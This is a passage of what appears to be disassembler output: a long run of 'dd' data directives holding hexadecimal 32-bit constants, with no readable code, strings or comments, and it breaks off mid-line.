0C6EE032Eh dd 0E9E86BCAh, 0D3970178h, 0FCB2D116h, 0F2040C8Ch, 5076B3B9h dd 65CA1CBEh, 0B6D2C5C6h, 0F8255CA9h, 6F5597CAh, 156D4087h dd 519FC885h, 85DDF2DEh, 75AB06A0h, 0B2CDEAFCh, 88F18E00h dd 0AA4F4ED2h, 605EEC6Ah, 8A12C918h, 0FF9BD701h, 7D4C7475h dd 9724026Ah, 84DF893Fh, 0C499AFFFh, 0F755F03Bh, 203FBE02h dd 55613D90h, 5700CC53h, 443E9A71h, 0FDCC0082h, 6AAABB58h dd 36031D6Bh, 0F61C8D0h, 1A8A9250h, 5FB9A977h, 0BED70224h dd 0C1C18BDEh, 3B9D03F9h, 66888F4h, 45EE5798h, 0FB03C560h dd 0B3615952h, 0B6909C6Ah, 7FF15467h, 0AABD4B45h, 39A5CF29h dd 8084B5D4h, 0A59B09DBh, 0BBC01D88h, 3A2AD753h, 1584219Fh dd 0A961BA4Bh, 0D715B82Dh, 5F3DFFBDh, 18251D3Ch, 3F1CC367h dd 0E0BD4F38h, 8CE82EBDh, 0AF33E9C4h, 1CD02F9Ch, 0BAA06E20h dd 0E5475C02h, 34FE7D87h, 0D7A659E9h, 41BD2528h, 0C3042DA1h dd 0D25652Fh, 0D4461h, 0D25DD467h, 1C018A8Ch, 0CD984E00h dd 1AA3FF59h, 0DC8BB661h, 0AD757E00h, 58FF08A8h, 1061804Dh dd 6BC21C97h, 22375F5Ah, 36B09080h, 5BB237CDh, 6A988957h dd 17302BFCh, 25ED8542h, 1AE62C91h, 0A6099573h, 0BE04B184h dd 7127F18Bh, 0DC56A2C2h, 251AF966h, 785B142Dh, 66181D79h dd 0DC01C47Fh, 22188F95h, 40315EFDh, 0AED9342Bh, 0BEDEF81h dd 2FE53A41h, 48AAFD6Ah, 7DB04F17h, 0DF818019h, 990E760Bh dd 845DFB45h, 0B937D0F7h, 0C99AD2A4h, 4FFEA183h, 914C68A8h dd 6DB5AC2h, 0FB89ABA2h, 82AAD869h, 0FFAB899Dh, 1B9433B5h dd 0A70C8053h, 2C1DF14Eh, 454CCB4h, 0AA1F6DBDh, 9F0536DDh dd 0B78752AAh, 0C4DA22AFh, 0B9029924h, 73E6938Dh, 67D933A0h dd 0DC12AD2Fh, 0C170E2C0h, 97C78100h, 4FCF256Ah, 47986BC6h dd 38D634D2h, 800F1280h, 0F72CEA0Ch, 2B5259Dh, 7BB51455h dd 337C9D91h, 0BD2007DEh, 60F8C7ABh, 8666DDE9h, 0E21DBBE4h dd 0B3025046h, 442CC171h, 5985134Ch, 569BAB1Ah, 675D9896h dd 122EC54Ch, 0F2B70DE1h, 40BF6607h, 0B333560h, 3CFF2FAFh dd 0DF35BFF5h, 50FCE801h, 0B33B6056h, 0C0A47B95h, 1B13C600h dd 0EAF07C5h, 0B2780492h, 0EB5ABE05h, 4EB70B88h, 769955h dd 580501Fh, 6443441Dh, 0FEC4701Fh, 0F8ADDA62h, 58C17ACh dd 3DD53B68h, 814FB860h, 427B77ADh, 0EE6283C4h, 1D6303DFh dd 3DC193FEh, 553B242h, 1FA59D23h, 92BD98FBh, 8F378000h dd 1E96B6AAh, 0C6502D7Dh, 1D880B5Bh, 0C3810009h, 42D6ADDBh dd 44CD9495h, 2BFB0940h, 73FF9694h, 834A0D3Ah, 15B25AA6h dd 98A7A130h, 2F5D3206h, 6D55FA53h, 5A62281Ch, 6FC58909h dd 0B52D6BF1h, 281C94B8h, 308429D7h, 0D7FB72A5h, 0FF0D3582h dd 9D3F0BCAh, 574805A2h, 5B51843Bh, 94BF3D84h, 0E160E635h dd 0CC2F8388h, 150042DAh, 79CD3804h, 77FB8Ch, 0C99F8209h dd 0EF120C2Ch, 0A4B58EFCh, 0E6BFF9C8h, 297CF0E0h, 9205035Eh dd 577E3C7Dh, 5FDB5218h, 4AEB24FEh, 506EA30Bh, 3316BB44h dd 6101B2AAh, 37FA8E52h, 52F017Eh, 0CB5B5090h, 0B8AEEDA5h dd 0E9F90091h, 0A3BEF2FBh, 40F4800Bh, 0FEDA8A25h, 4603F43Ch dd 4F68CB94h, 29A0919Ch, 4A38FD2Bh, 1DE8D7B9h, 98F54817h dd 0B5CCE830h, 54AB00ACh, 2BB12FE7h, 8D729C55h, 65780525h dd 6EA650C7h, 42630E1Fh, 8D89B201h, 742B18DDh, 80DCB8C2h dd 38BA3E98h, 30C700B3h, 0B160A8B5h, 0EA5B63B6h, 5BC23EF8h dd 11EDD1FFh, 822709EEh, 0FF18B508h, 0F127FACFh, 0B2B3874Ah dd 93ED796Ah, 0B9852CC0h, 0F28B5A56h, 905B0561h, 0D1AFA4B3h dd 0E661F9BBh, 4DC69FCh, 0E9490A8Dh, 4EF84011h, 0DB1C9Ch dd 421961EAh, 24516528h, 0FE220B09h, 12FDDB4Ah, 0E273AC4Bh dd 0FDA74A2Eh, 0CD160237h, 0DB31AB05h, 0DA1758B8h, 156BFFA6h dd 3F12A647h, 0C04AA83Ah, 0B28D022Dh, 4CF33AC8h, 1B05007Eh dd 50118387h, 113EBBFh, 77524F7Fh, 12918B0Eh, 981E8B2h dd 2B0DFD85h, 2D80CC28h, 7FE2D6CBh, 0FC25055Eh, 1846D635h dd 6350AA4Fh, 0FDB42892h, 3CE1FF53h, 0C76180B6h, 0FA43F29Eh dd 7E271CA3h, 2E307A7h, 0B102AB33h, 0BDFD2D31h, 58400A5h dd 73223E50h, 0DEBFD81Ch dd 5B0CD0C9h, 5A3F11B6h, 0CCFBEB24h, 132D0BCDh, 9D7A580Eh dd 0E68CFB5Eh, 41791070h, 89112A2Ch, 71E416AEh, 0C5A40252h dd 0CE028A0Eh, 91552051h, 5BD7BA6Eh, 0B0A5E075h, 0E0B3274Bh dd 2135BA4Eh, 0F85292FFh, 71C03840h, 38FD225Fh, 2FC73C58h dd 0D38620A6h, 0BB09D581h, 7F1C3671h, 0AB10FE8h, 21897884h dd 66270C5Dh, 0B7017E78h, 0ACE96448h, 0DB8017C2h, 4432E038h dd 95FE24Ch, 10059D0Bh, 0F51B94FFh, 853A3580h, 9920D1A7h dd 0AE6B6D1Fh, 0C5C2865Ch, 621538FCh, 0C6785757h, 64FF5B4Eh dd 851E95CEh, 0C232AB2Dh, 7AB9550Bh, 0BC20E6E9h, 120C10D4h dd 0BB228136h, 85292430h, 0B62AEFE9h, 953E2252h, 0C5086845h dd 2778480Ch, 0F4009759h, 7F463877h, 1F6E3C79h, 64851274h dd 0FE92AF57h, 9FE6F760h, 69207498h, 0B7615A12h, 6CFE108Ch dd 0FC4F7959h, 0CCB385A2h, 0F09FB7EFh, 4F4DB56h, 0B8B94615h dd 0C47AEF0Eh, 0F2827A00h, 63B8281Fh, 0ACC0C44Ah, 92958531h dd 9B3FEF6Fh, 29BE8079h, 95DFC758h, 0EC18A212h, 0F801FAD6h dd 1944AB3Ch, 7029D22Bh, 0F4AD4B8h, 292690CFh, 0F828163Bh dd 0D7118BDBh, 0D20B47BDh, 8B56100Ch, 8D9095DAh, 5E2BD03h dd 0F4E9AA9Ch, 758840D8h, 2A753617h, 2F8A009h, 0C12E56AAh dd 0E20BDB5h, 22913098h, 0B280B381h, 0D1ACABD3h, 0D9B76028h dd 27EFA888h, 9C7F2349h, 29216A16h, 11E50967h, 0DA317A5Bh dd 0DC6A1881h, 4C13B32Bh, 3A04E1FFh, 3BAC01EDh, 8A2256E2h dd 0E93CD5FCh, 0AA58AD9Bh, 0CA484AD9h, 57013511h, 1911BC04h dd 0B564510Fh, 5F16D1ADh, 6C6E2A60h, 40BF6807h, 4A21E1F3h dd 10002BEDh, 0E1B52B60h, 54CC9713h, 85EC3600h, 538A1479h dd 615A2D5Eh, 0BF8445FEh, 0FDA9B826h, 5B81AC4Eh, 1FBC7AFDh dd 2651C3A0h, 41DF3A95h, 136BEDE7h, 0ACD1FD42h, 3168C16h dd 7C0A23DBh, 908BA54Dh, 7089F557h, 0D3AD09D7h, 92909E39h dd 19560457h, 5F5B0708h, 2212DC9Bh, 8B34F198h, 95091522h dd 6802D951h, 86252E4Ah, 0E4DDh, 0BB8AEE0Ch, 23ED56FCh dd 1F7B9204h, 17E4423Bh, 4CB209BFh, 2B7F41F8h, 0B5A30040h dd 9F79F9D5h, 190044B7h, 0EDDE2359h, 652F131Bh, 0C5CDA80Eh dd 44EFBD2Bh, 0EEDE8A18h, 0DED7617h, 4A208584h, 8847DDE8h dd 99A8A4C0h, 7CC80065h, 0BC08EFE2h, 4D02D18Ah, 36E0CEE7h dd 7D46773Dh, 0F48D5B4Ah, 40D95360h, 2425E922h, 0D00B7302h dd 0E04A9FA3h, 0F37125FEh, 0FB274ED4h, 35593300h, 0E1B101C5h dd 530B03E0h, 725DD227h, 945B4A00h, 0E820A9E5h, 438736Ah dd 3F52A4A9h, 0D3CCA87Ch, 571C30FEh, 4B05EB81h, 5B677C65h dd 0D20DDABFh, 0FC322B77h, 0EC815DE5h, 0AF2E1BCBh, 788FFBACh dd 3FFD8E2Bh, 0EDB569E6h, 437281FEh, 227FF47Ah, 97427692h dd 0C0E3A85Dh, 5423A509h, 8D0142E9h, 9674685Dh, 0EDDE5F8Bh dd 42F14F1Bh, 69F654FEh, 3126CD4h, 24F2CBBFh, 0B0675C60h dd 496BC690h, 0ED821F57h, 0B11840D7h, 2A8B1D5Eh, 47F80B00h dd 596160F1h, 9A4F0EB8h, 0EEF641BDh, 79B18725h, 0EF4DD147h dd 84D951E2h, 0C012DCABh, 254BCED3h, 81DA49F9h, 926EBF42h dd 4CA507F7h, 61DE4783h, 0D4AD5071h, 0B2374E1h, 0EE80506Ch dd 0C2DCFBA3h, 0E680DB01h, 75F47B71h, 9310B86Fh, 0BB2324EEh dd 3E01B68Ah, 8C90AB18h, 0C928F040h, 0E1D0D727h, 0AA041166h dd 0FAA49CD7h, 45E5E3AFh, 356FCD4h, 5D19D25h, 6BAF5B13h dd 251B2341h, 1A50107Fh, 95306B1h, 9305659Dh, 22C78101h dd 6173A091h, 4834E37Bh, 789B2FF2h, 95F6988Ah, 0BD107234h dd 34F20AA9h, 8018BDD5h, 533AB19Ch, 990B2CA4h, 5FBD2911h dd 63C46892h, 0B14A3698h, 6BFF7285h, 3016E22Ch, 2B5F49C7h dd 2EB9DA16h, 220597B8h, 8FF38012h, 731EA81h, 6562392Bh dd 0ECA63EE3h, 2233C1F1h, 2A2CCA06h, 0B2C728F4h, 283D2DF5h dd 49DE43FCh, 40822F16h, 7A419580h, 1300905h, 0CC8F4A77h dd 0DE9D018Ah, 0B509BD99h, 0CD5F0B7Dh, 0D81CC470h, 0FCF8C842h dd 94A8545Fh, 8D59F989h, 0BCD78084h, 42A2A3D5h, 0C5CA9300h dd 8B36C690h, 6764951Fh, 8D3CDA84h, 4494F5C0h, 495995Fh dd 0D55B0DBAh, 5DEEA96h, 8774C6C2h, 0AB67C360h, 0F9BD8916h dd 2B035DBBh, 0F5C62FC7h, 0E5225398h, 0A58D1211h, 0CB2DFF1Dh dd 1546A3Fh, 9D2BAF58h, 0C74E1F25h, 3196A5Eh, 0BD232FEEh dd 0D8AF855Dh, 0FF03BF58h, 618FD489h, 0DE64E884h, 9ABB09E8h dd 90840440h, 9DE3AF45h, 65E38104h, 0C1C3ACD9h, 10199D29h dd 3B6DBD11h, 5B95D2B4h, 0B2A4E7D9h, 130EF69Fh, 8157C160h dd 3316062Dh, 0F30861D0h, 4EF4EFA4h, 0AB1961B9h, 2BEA5ABBh dd 95EDF912h, 7F0049B8h, 3EEB702h, 0E27820BFh, 9AFC950Bh dd 25F9AED4h, 0AD90874Dh, 0DB0B6409h, 0E4F04AD2h, 77A500ECh dd 51E58183h, 0AF007AA4h, 687808FBh, 0BF415B2h, 827294FFh dd 0D4C9D354h, 3FA9407Dh, 0E2005C0Dh, 0ADF7E0Fh, 0ADC123h dd 0A458C0FCh, 6C14BB53h, 44736D31h, 0AB6C0D9Dh, 0C612B794h dd 0AB7F527Ah, 0D9003E7Bh, 9345C10Bh, 870179D6h, 0A3E8DF81h dd 85784883h, 14CB80C2h, 830A7055h, 9230C5F7h, 1731FF77h dd 88CCF8AAh, 680EC340h, 40165B57h, 977028C7h, 3E0C0298h dd 96615AC6h, 9E9783E6h, 9571849Fh, 0B91DD284h, 8E08D251h dd 17D5A4EDh, 0FECDC4DDh, 9486EDAh, 5022407Eh, 56E98A5Eh dd 80C09B4Fh, 1F035467h, 0A54E2E33h, 25CD09BDh, 0B87F65F5h dd 0E531FA7h, 0DC186D0h, 88C8B1BAh, 927B2F5Dh, 7127FA5Bh dd 0EFA42421h, 0C8BE9A6Ah, 7C7C018h, 0BA4BA9C1h, 3F22478Ah dd 0BB359895h, 146809ACh, 4BF3C65Eh, 0CD7A0BD1h, 96C9164h dd 24874A76h, 0FF5785A4h, 0B63A5B3Dh, 0C75AA08Bh, 0ABE92571h dd 238D1758h, 0A5F76061h, 123F0170h, 0BE625D6Bh, 41A968D8h dd 20C1D908h, 105A2571h, 0FDD76FA2h, 7DDEA8BCh, 0EEC9267Fh dd 0CD8D0A8Bh, 0D88B898Ch, 36401B62h, 0E89F2555h, 831177CEh dd 0D000CDF4h, 0D501397Fh, 0E6B341E3h, 4E97905Fh, 7A3C9455h dd 0D0C104B1h, 20FBF92Dh, 598B1A4Ch, 0A516DD00h, 78C25358h dd 5A5B5CF5h, 0FB6A8516h, 220ADE6Fh, 1A984B3h, 60BFAA3h dd 8FB64753h, 7F5F25B0h, 0DF2D633Dh, 0AA01C625h, 0B5907E88h dd 0C94028D6h, 201DC5h, 0AE793F75h, 612BF2B6h, 77C10997h dd 0A933837h, 112204FAh, 78095212h, 0AD37576Ah, 832057ADh dd 8B66AD4Fh, 6464FC9Dh, 0BB98760h, 1F93E4D1h, 2E4B9DBFh dd 0F99D8F98h, 0B8C77FE6h, 2E35BE9h, 3A18F77Dh, 22D934E1h dd 459D0964h, 0CF687126h, 26828AF0h, 6513DF27h, 0CE1C81A8h dd 9A224F02h, 5D59B541h, 61099666h, 5D60026Ah, 5E005C64h dd 0F513E8A6h, 8F1AF1h, 0FB8506D7h, 0B2BB096Eh, 6BE91951h dd 0CF0495C2h, 731403Ah, 0A62D991Bh, 0DBE96061h, 0AF8E4FB0h dd 2705C7Fh, 0F88B538Eh, 7F5C6BE9h, 81FAAD70h, 0B5E47051h dd 0BB5BE528h, 7F0F9125h, 6C757B32h, 0DE5AB52Dh, 88E2BF1Fh dd 76A77A9Eh, 0FA01DC1Fh, 12BA58C6h, 7EA0171Dh, 9A79433h dd 647326E6h, 0D8A8FC16h, 0A1519A1h, 3D00C953h, 176D8D1Fh dd 58052B5Eh, 6A1AE229h, 0E0CDE6EAh, 404F3Ch, 64258C63h dd 0CF8179F7h, 67C22B0Ah, 0F802E258h, 0C0705F4Ah, 940469EFh dd 0E6D992A7h, 448223Eh, 4DB7BA60h, 0BBCFC068h, 615FD640h dd 2B5301FEh, 92D059Dh dd 82EEFD2Eh, 0F56E8DCBh, 0DCB768FAh, 92FFC967h, 67687F60h dd 1DC40E8Ah, 0F4AA8B60h, 8D10235Bh, 6127129Dh, 0AA844943h dd 0C63BD599h, 6598CF38h, 200E294Ch, 4689950Eh, 0E4007D44h dd 50E10109h, 7B43F5Ah, 28F816A6h, 2FEAA05Bh, 108213Ah dd 0AD203195h, 9D0564F6h, 9B311E61h, 0E82BC82Bh, 0D4D12F9Eh dd 30FF69CCh, 6C0F701h, 0E961A262h, 0E5B3179Ah, 4C50EC30h dd 61475A55h, 3FF9BFCDh, 0E4841CFCh, 8FBD22C8h, 1CD7A020h dd 0B51F495Ah, 39C1D04Eh, 5CE9F337h, 0A9E615A7h, 6656B295h dd 0DD6E005Bh, 0F706A9C5h, 9027C27Bh, 0DA65681Dh, 66FE1326h dd 9D9CBF21h, 0B75A4AB7h, 0CCF15F08h, 0EC607102h, 0E2810241h dd 7CDD8FA4h, 64020E46h, 0F3806E40h, 0C2475C61h, 0B70B7BB6h dd 6E940072h, 0F40AC68Ch, 0A5C8599Fh, 823537F7h, 0C62AECADh dd 6B67CDDFh, 0D8346EB0h, 7F681B17h, 0B59C60EEh, 0B9802211h dd 0A7104AD8h, 0ED8EA0C9h, 0D7DA0B8Bh, 2C1811ABh, 3F0B560Eh dd 795A6850h, 0A5586936h, 28DC699Ch, 6BB5B50Bh, 4FFC5ADh dd 61ABFED5h, 102B53Ah, 3530D22Bh, 8F764B58h, 154E6286h dd 0D0B37B1Fh, 10BD051Fh, 884029h, 0FEAC156h, 95ED08F6h dd 74DBD600h, 0B6057ADAh, 0B3DD4A9Fh, 1E44501Fh, 60E7739Eh dd 58FDBDD2h, 0ACBA044Ah, 0EA4F8190h, 3C664098h, 8A4B9DBFh dd 0C380C28Eh, 0C437DF6Dh, 0C547FC00h, 27FF728Bh, 147F0582h dd 0E17070B7h, 0F108F63Bh, 29304B77h, 0BBE993F9h, 658B882Ch dd 0E9F53561h, 7AB15E9Bh, 0AAB7946Bh, 1723456Bh, 93E6B200h dd 0BDE1FF49h, 56842971h, 0E2BF6160h, 3E9849Ah, 80909EAEh dd 0C4BF4CCEh, 0D459976Fh, 60CBDC27h, 0FFD78057h, 16CA5B4Bh dd 0EA6CC735h, 0D803A86Fh, 3C3F127Ch, 292F3002h, 550E8DBDh dd 5B110567h, 907A9951h, 8D316036h, 55202127h, 51550CB2h dd 8C22512h, 8B70975Bh, 0DC130401h, 0BDE566FAh, 623C4814h dd 552A5988h, 0A8991699h, 0FD278C3Dh, 0AF1CFF1Fh, 0FDC06A95h dd 6AEEC552h, 5EDEE99Ch, 963F8FEh, 823B01E3h, 0BAA60A39h dd 0B772F587h, 0D99F6806h, 95C9F224h, 2A60C780h, 0F0BF0DFAh dd 9F2542AAh, 19219D04h, 43202B29h, 0ABA71Fh, 4D91E5C1h dd 0D5717827h, 9531EB04h, 0E94222A9h, 0B01D9h, 0DAA1F0E8h dd 85F54B47h, 10DEFA6Dh, 43BA0BC0h, 0EED73A42h, 0B1EF52FBh dd 9EE72A7Bh, 0E5C0C6B3h, 2B0076CEh, 81DBE2F0h, 25D313EBh dd 1A7F1F6Fh, 690DC0B3h, 73DC9F05h, 0A309E660h, 0F71707BCh dd 31BB6052h, 6C20453Ch, 0F6DA2DFCh, 1662E9D9h, 0BD0010D1h dd 5A324D2Ah, 2957319h, 34D64402h, 324C2E7Ch, 4689FC16h dd 19A6FFFh, 6520ADBDh, 0E1CA91D9h, 22C879B5h, 5645A815h dd 4A6700F0h, 0D26DB6F3h, 1200C53Ch, 0F8C0A5CEh, 127BBF50h dd 0EE76AAFFh, 0E33DDC7Bh, 86CE91A5h, 0BD22CD20h, 6881D971h dd 52670461h, 0CF81A324h, 78CF9E76h, 0E091E653h, 2447C55Bh dd 9E48EB4h, 0CD5F5444h, 617349C2h, 3F700B38h, 271B5D60h dd 41B50E13h, 0D7D3C092h, 7ED9A362h, 2B228600h, 0FF28ECh dd 9E8770B8h, 16E28D32h, 0DB7D5C39h, 12FBC8F4h, 0A8DD8A90h dd 0E900AAC0h, 0B1AE7ABDh, 7C718214h, 4A035095h, 6AC8AADFh dd 2EE0054h, 1BC8EA10h, 0F39F8578h, 7C5EDA91h, 145DCEC1h dd 0EF5F941h, 545B382Eh, 557A2BE1h, 4198561Fh, 368B94F3h dd 8DEC2B49h, 0B1B50181h, 3BE9010Ah, 786417ABh, 0E4484508h dd 6BFB4EE6h, 0D9F6B491h, 0B81F4200h, 8D89A010h, 0F5B7A9BDh dd 0B5BD63B0h, 0D0B7054Bh, 0B61C09A0h, 11E6A013h, 30AA28BAh dd 44921C97h, 72ED897Bh, 0F5EA501Ah, 0B12AAD48h, 7A7E0464h dd 0C6A2CCEh, 0B78BDF1Dh, 5935FB54h, 5080181Bh, 1327A856h dd 0BFCA1638h, 0A95DB18Eh, 0ED0FB8B8h, 0A2846F05h, 0C0BDDA49h dd 0B711FD5Eh, 12AC5DF3h, 53125525h, 0AF3757h, 0AD58DF9Ch dd 1C04EB4Dh, 50A22918h, 5BD92CC1h, 0A8B2A26Fh, 377F02A4h dd 0F77D1F4h, 0ADA04F5h, 9199D42h, 28E96A5Ch, 29C5A59Bh dd 8142E9C4h, 5519DF80h, 0CF5300BAh, 0B474E751h, 0F74E95D9h dd 5D0C792Dh, 312FC9B7h, 5DCCEC4Dh, 7F28256Ch, 0ED5520C2h dd 0CCB3C5BFh, 9DF4135Ah, 0B5407100h, 0F6F9B438h, 0BEFD25C2h dd 0A6CD44C2h, 0EBCF6FE0h, 0D02B0416h, 0BFD1AB17h, 1CC8E6DAh dd 61A067C0h, 8A6C01F7h, 0B77E8BE1h, 47FD2B76h, 10367A9h dd 69E82CE5h, 0DB3B6ACAh, 0D821C9D5h, 7A25417Dh, 61F36104h dd 0A05A8AABh, 139585A0h, 0FA187CBEh, 604B146Bh, 53F76E02h dd 4DB61303h, 0C6C00186h, 8EE709AEh, 12F9961Dh, 0DF602B4Fh dd 0F92702E6h, 0B77FE61h, 0B5FD343Eh, 5230AFC3h, 58E24A6Ch dd 96A6E090h, 6AE975ECh, 0E7AF8Ah, 0C60A68E0h, 714E822h dd 0CD3BC095h, 0DF2D906Ah, 0BF0053E3h, 0A578145h, 2667542Bh dd 75DB5FEh, 65295FFFh, 0FBE52D9h, 0E3B21D3Bh, 0A51088A9h dd 0D7B21F01h, 9ECD2B09h, 0CA7F1FF1h, 0DBBF1FF5h, 7F3792Fh dd 0D57C4C45h, 9DB09C2Ch, 5B2649B7h, 0A967FD2Bh, 0FAAF656Ah dd 442A4B4h, 0FE48ECBh, 23E7BB86h, 0DBBD9000h, 0CCD36315h dd 2711CEB5h, 147F10E5h, 0BDCD9FA3h, 4292A840h, 34D107B3h dd 99DB531h, 0A55CCDFFh, 0ABF56E84h, 0BA81D52Ah, 388D0F67h dd 0EDE5CAA6h, 0D427C69Ch, 7CE6DE5Dh, 7AFE494Fh, 5419295Ch dd 63FA4428h, 0FE531F30h, 973CE9DEh, 0DC90B70Bh, 310052EEh dd 0F1B22C27h, 5F8B4B59h, 64E420C1h, 6E0007CEh, 0D6686C9Dh dd 97B75CB0h, 7A339F19h, 390EE88h, 0E46458BBh, 9BBC500Bh dd 286DC1C4h, 0C26AA3F6h, 0E484F947h, 6AFA3103h, 6225F67Fh dd 0D789B310h, 181EE304h, 4E09F1A4h, 6B74970Ch, 90458A54h dd 8DA4C286h, 0B4DEE1D7h, 0A6F3F837h, 7044B113h, 856ED1Ch dd 9AF86BA9h, 4C1F7609h, 0A189DF3Eh, 0CF55BECAh, 60744053h dd 0C209988Dh, 0D6DCEC3Fh, 97312AEDh, 97D4B0F4h, 2E2785B0h dd 42C76500h, 0F1DDC296h, 9D0B0972h, 0CA5611D5h, 8088E9E7h dd 0B257F987h, 0FF32AD7Ah, 5C2F95D1h, 3AA37136h, 0EED738DEh dd 1C532153h, 77021022h, 6309E037h, 7FE075DBh, 495AAF7h dd 900B1255h, 52158224h, 0C0806EBCh, 0FC026216h, 0E3BC2F00h dd 4AA6E01Eh, 37FB014Ch, 0C38B6059h, 0AAF47B61h, 0B09062F8h dd 0FB572871h, 0CA537235h, 8F6EE901h, 20D5DFDBh, 0FB4E382Eh dd 0B5E69792h, 3004C12Dh, 0C6205Bh, 40226D46h, 8597D33Ch dd 0F9D8F212h, 0A9D3C0ADh, 483A848h, 59BD0B87h, 82E3AA0Ch dd 0E8D0BE4Ah, 0B6DDB350h, 65372791h, 4B1CEC03h, 0E131F003h dd 0DF700B60h, 3755FA8Ah, 0F7302514h, 0CFB057D3h, 5BFCB813h dd 9E00CFE2h, 0ED479472h, 4504414Ah, 0F6EE8013h, 0F74FA8B8h dd 8969E0FCh, 952FE68Dh, 17E420CDh, 0B7E69E60h, 0FF6A7201h dd 2D0D8531h, 25B55B85h, 0E960BB1Eh, 0FBDF347h, 9F59AD0Ch dd 80349DA7h, 9511FF97h, 0F8BA3197h, 0B038C366h, 0A5B9BF03h dd 0C4727C5Ch, 13E60240h, 0E2870F70h, 16847E41h, 35E2DF80h dd 0BA0FB4Dh, 0F7630059h, 0D2EE24AEh, 30B71E4h, 541E31BDh dd 8B767CDh, 0C9AF890h, 2DCCB17Fh, 82EF3A6h, 343E2AC5h dd 0B4ACB6C1h, 98C2F525h, 2071D1C0h, 27472B81h, 0BED7D125h dd 8B7BFB0Ch, 49851C0Eh, 4044094Eh, 97AEA3FDh, 23028009h dd 0F1570BF1h, 8221CDh, 847497Bh, 4C31BF84h, 294DABDEh dd 0DED92Ah, 40E9F964h dd 80566AA2h, 0C465DF4Eh, 4C2F5469h, 0C4054E9Dh, 946EADABh dd 8292C0FEh, 0D8721Ah, 0CB4E6179h, 97B771EAh, 6B0B84A2h dd 0F9E604D5h, 8E826AB9h, 5C6F0B8Ch, 90F60740h, 5E5E6421h dd 7E6BFDFh, 0E18D290Bh, 17B9A060h, 0ECC1105Dh, 20322443h dd 0AFE709E3h, 4FA10C70h, 79B65765h, 0BEC2C8CDh, 0CC22FF58h dd 3FD5B8F5h, 0D61E3Dh, 0A7717A6Eh, 27A1BA9Dh, 29854209h dd 5AD0E57Fh, 0C909A16Eh, 26E255Eh, 0DF066D6Dh, 0F0BF8A6Eh dd 0EFB9DF1h, 0C424E7Ah, 0AFDA7364h, 195F056Ch, 0EA93EFF2h dd 99AB7117h, 6A097AA4h, 0D965DF13h, 0C1F174F2h, 2FEC5043h dd 4B01CF6Eh, 112D9EE8h, 0AEB66F1Bh, 0A0F78180h, 7227654Ch dd 0D4967DF5h, 14E16FADh, 1A0002B1h, 9D2629D4h, 0FF806091h dd 7F51BBE1h, 282EE323h, 4417C28h, 282A7121h, 0DEB788FAh dd 6501CB2Dh, 619D18F0h, 0DD282AAFh, 2933CF39h, 81DAE9AAh dd 0A9950160h, 53DF7F10h, 1300AED3h, 78E96427h, 0DD622C53h dd 3C7561C8h, 0CD18C0B6h, 0D129D902h, 56704A52h, 47B725E5h dd 660DF900h, 3DC0BAB6h, 56C89D09h, 973C1C9h, 5B01410Bh dd 0A966D09Bh, 0C3822158h, 803A2CEFh, 99425FCh, 0E5A94220h dd 911E35D5h, 86088215h, 0FCB27FF9h, 97802FFh, 0E9FD0911h dd 6F7B041Fh, 37B30050h, 36965EC8h, 23B72DDBh, 0F0D31A53h dd 110991E8h, 1D0ADDB5h, 95C0D767h, 0C1A3ADBFh, 6E009772h dd 6A412C98h, 794DEE98h, 946B5F5Dh, 0C6001B23h, 0E69FF97Fh dd 0AE058A6h, 2E7B8527h, 9F4178F0h, 9B507102h, 0EA02FB84h dd 0D587AEDEh, 0C6EBD277h, 9240B2C2h, 7E95D785h, 2300F48Ch dd 47B5892Eh, 90ACE0A4h, 84754510h, 9A33F7B8h, 98C3B3EFh dd 259F858Ch, 78C61E94h, 5857A1A2h, 0A6894A5Ch, 0D2BF0A3h dd 596F0410h, 0B8205129h, 12A98059h, 0FB5BAAh, 66333754h dd 0A030AC0Ch, 2E2D04Ah, 0C7279CA8h, 0C936F493h, 0B797C258h dd 8C8F02FFh, 19DE0AB1h, 0B05E9A40h, 0B6E404D4h, 0C15BD88Bh dd 6C20FCEAh, 0BD5339CCh, 26F1FC5Fh, 0C893F13Ch, 0AC80EA68h dd 0E35760DEh, 0DA584B26h, 0D5069909h, 1D914037h, 0B3BF9180h dd 0EA7887BCh, 0D2088517h, 1A75E904h, 79F66800h, 0F3FC6CCh dd 553DE988h, 524ADEE4h, 91DA7ADh, 0B939D78Ah, 24DB8A5h dd 38202A1Eh, 0C1050179h, 5AF86AC8h, 0F728FF8Dh, 0E7FD0095h dd 2DC435FEh, 850039CFh, 0C5B77F24h, 2D56503Bh, 57CADA8Bh dd 0B858F82h, 0E90E6DD5h, 66068A5Bh, 2D545C73h, 1E640CD5h dd 679503EEh, 535693FCh, 0C8AFEDAh, 7DCCB55Bh, 14D7B815h dd 0D00B8B0Fh, 0BB8005C8h, 572DA139h, 9F5870E9h, 8A004C3Dh dd 0F0437034h, 5D2816EAh, 9C30EADEh, 6D514Ch, 0CD4543F3h dd 3FC185C4h, 0F8C9D527h, 0FE0E4ABDh, 20A4363Bh, 0BBAFBAAFh dd 0E14FE300h, 0B6989116h, 229C0034h, 93060D19h, 0D0623369h dd 0DD0F05E4h, 0FFD0617Bh, 8A60FB8Ch, 662840E1h, 5A5EBB12h dd 0C68DA4E2h, 10B33E5Dh, 0E241A84Ah, 844F57B1h, 0D068E56Eh dd 23FD6BFAh, 0DABC021Ch, 0C4DF3FB2h, 1DBB046Dh, 0B92808DBh dd 0AE7A4FA4h, 0DF7A3400h, 85016DD6h, 6FFB5D5Ah, 2A604FCDh dd 0B78529DFh, 0F3970D5Ah, 181D59F5h, 9E3500F8h, 0B809610h dd 5548D81Eh, 41D13D1Dh, 2BFEC92Bh, 0B9E892C9h, 45DA0041h dd 8C1B2CBEh, 0E69F729Dh, 0E65F4A37h, 40F64F54h, 4A5A8DA0h dd 3A84812h, 0E81424EFh, 0A985807Bh, 0BF964DC6h, 0B3806856h dd 0A0ABC89Ah, 0F4BFC5h, 0B8B8772Dh, 3A9718FDh, 5D7182F4h dd 4115572Eh, 0F9B7F3C0h, 959D130Bh, 92DAA0Dh, 253C6A7Bh dd 40F37675h, 516132EAh, 616A283Ah, 625BD3Ah, 0D64EF26Fh dd 0F5022F6Bh, 89518CAFh, 8138445Dh, 8825C19Ch, 0B2E2E62Bh dd 78983318h, 0F74B023Fh, 0E79B45C5h, 0F01EB3C0h, 0C919CA3Fh dd 0CDA45521h, 5018B32Dh, 2C29C220h, 0BF5D6EB5h, 220489F0h dd 61F48AFAh, 81C004BCh, 0DDB010CFh, 0D1902EE1h, 0B02BB50h dd 5B3C0E16h, 597A5456h, 86921F76h, 3A19D718h, 0EBDC600Bh dd 0AFD6741Ah, 5E27AD56h, 